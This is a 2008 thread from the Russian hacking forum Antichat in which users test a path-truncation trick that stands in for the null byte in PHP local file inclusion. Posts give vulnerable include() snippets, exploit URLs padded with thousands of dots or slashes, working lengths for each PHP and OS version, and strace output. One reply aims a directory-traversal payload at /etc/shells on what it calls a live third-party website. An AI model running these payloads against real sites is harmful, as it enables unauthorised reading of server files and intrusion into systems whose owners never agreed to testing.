Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   [новый способ] замена нулл-байту в инклудах (https://forum.antichat.xyz/showthread.php?t=98525)

m0nzt3r 30.12.2008 00:38

пашет отлично, но не везде. респект однозначно :)

ShAnKaR 30.12.2008 03:25

Цитата:

Сообщение от [Raz0r]
ShAnKaR, проверь сам и убедись ) все работает

я проверял- не пахало поэтому и спросил.

UP
проверил побольше диапазон в общем оказалась магической цифра 4075, хз почему, тоесть имя файла вмесле со слешами имеет длину 4075 символа-> увеличиваю имя файла , уменшаю количесво сдешей соответственно, система linux PHP 5.2.6
еще кстати фигня:
PHP код:

$a=$_GET['qd'].'.xxxxxxx';
include(
$a); 

убираю точку в подгружаемом расширении и уже не работает.
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.

1ten0.0net1 30.12.2008 11:32

PHP Version 4.4.0
System Windows NT 5.1
Код:
PHP код:

<?php
$a
=$_GET['page'].'ТУТ_5000_символов_<'.'.php';
include(
$a); 
?>

Apache/1.3.33
magic_quotes=Off

Аналогично, на:
PHP Version 4.4.9
System Linux 2.6.24.2 #1 SMP i686
magic_quotes=On
Apache/1.3.34 (Debian)

Не работает никак.

Отпишитесь, пожалуйста, кто пробовал на 2ке апача и на 5ке php

Isis 30.12.2008 13:02

php 5, apache 2, windows vista, не работает

ntldr 30.12.2008 13:06

php 5.2.8
apache 2.2.11
windows xp

работает

PHP код:

http://localhost/test.php?file=lol.bmp....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... 

PHP код:

<?php   include($_GET['file'].'.php');   ?>


Spyder 30.12.2008 13:18

хм
система линукс
PHP 5.2.6
апач 2.2.8

<?
include($_GET['page'].'.php');
?>
итак
incl.php?page=omg.txt - 4062 символа/
incl.php?page=om.txt 4064 символа /
incl.php?page=o.txt 4065 символов /
incl.php?page=omfg.txt - 4062 символа /
incl.php?page=xekxekekxek.txt - 4056 симвлов /

может тут кто то видит порядок, я нет =)
PS в каждом случае указано минимально кол-во символов /, если ставить больше то всё работает, к примеру 4070 символов будут работать в любом примере

Chaak 30.12.2008 14:18

А на ngnix/light httpd работает? Может бага апача? Нет возможности проверить. У кого есть возможность отпишитесь

1ten0.0net1 30.12.2008 14:25

PHP код:

http://www.thejustinfoundation.org/main.php?pg=documents/../../../../../../../../../../../etc/shells 

Живой нерабочий пример
Здесь, как и в моих примерах выше - Apache/1.3.33

ShAnKaR 30.12.2008 14:28

апач тут не причем, из командной строки норм пашет, strace:
Цитата:

getcwd("/var/www/html/test"..., 4096) = 19
time(NULL) = 1230632306
lstat64("/usr", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share", {st_mode=S_IFDIR|0755, st_size=12288, ...}) = 0
lstat64("/usr/share/pear", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share/pear/aaaa.php", 0xbfc7ad78) = -1 ENOENT (No such file or directory)
open("/usr/share/pear/aaaa.php/.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
time(NULL) = 1230632306
lstat64("/usr", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share", {st_mode=S_IFDIR|0755, st_size=12288, ...}) = 0
lstat64("/usr/share/php", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/usr/share/php/aaaa.php", 0xbfc7ad78) = -1 ENOENT (No such file or directory)
open("/usr/share/php/aaaa.php/.txt", O_RDONLY) = -1 ENOENT (No such file or directory)
time(NULL) = 1230632306
lstat64("/var", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/var/www", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat64("/var/www/html", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
lstat64("/var/www/html/test", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
lstat64("/var/www/html/test/aaaa.php", {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
open("/var/www/html/test/aaaa.php", O_RDONLY) = 4
fstat64(4, {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
fcntl64(4, F_GETFL) = 0 (flags O_RDONLY)
fstat64(4, {st_mode=S_IFREG|0664, st_size=20, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb8060000
_llseek(4, 0, [0], SEEK_CUR) = 0
_llseek(4, 0, [0], SEEK_SET) = 0
read(4, "<?php\n//phpinfo();\n\n"..., 4096) = 20

[Raz0r] 30.12.2008 14:39

PHP 4.4.2 WinXP 32 bit - работает
PHP 4.4.4 WinXP 32 bit - работает
PHP 5.1.2 WinXP 32 bit - работает
PHP 5.2.0 WinXP 32 bit - работает
PHP 4.4.4 Vista 32 bit - работает
PHP 5.2.0 Vista 32 bit - работает
PHP 5.2.6 Vista 32 bit - работает
PHP 5.2.8 FreeBSD 6.3 - работает

В общем везде, где проверял у меня работало. Возможная проблема у тех, у кого не работало - вы указывали абсолютный путь, с ним уязвимость не работает.
Цитата:

убираю точку в подгружаемом расширении и уже не работает.
у меня такого не наблюдалось ни на винде, ни на линуксе.
Цитата:

из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.
об этом уже писал


Предлагаю заняться ииследованием сорцов для выяснения причин баги. Возможно удастся понять от чего зависит длина необходимой последовательности.


@1ten0.0net1
на твоем живом примере не работает, потому что доставляется ./:
Цитата:

include(./documents/../../../../../../../../../../../etc/shells.php)


Время: 00:07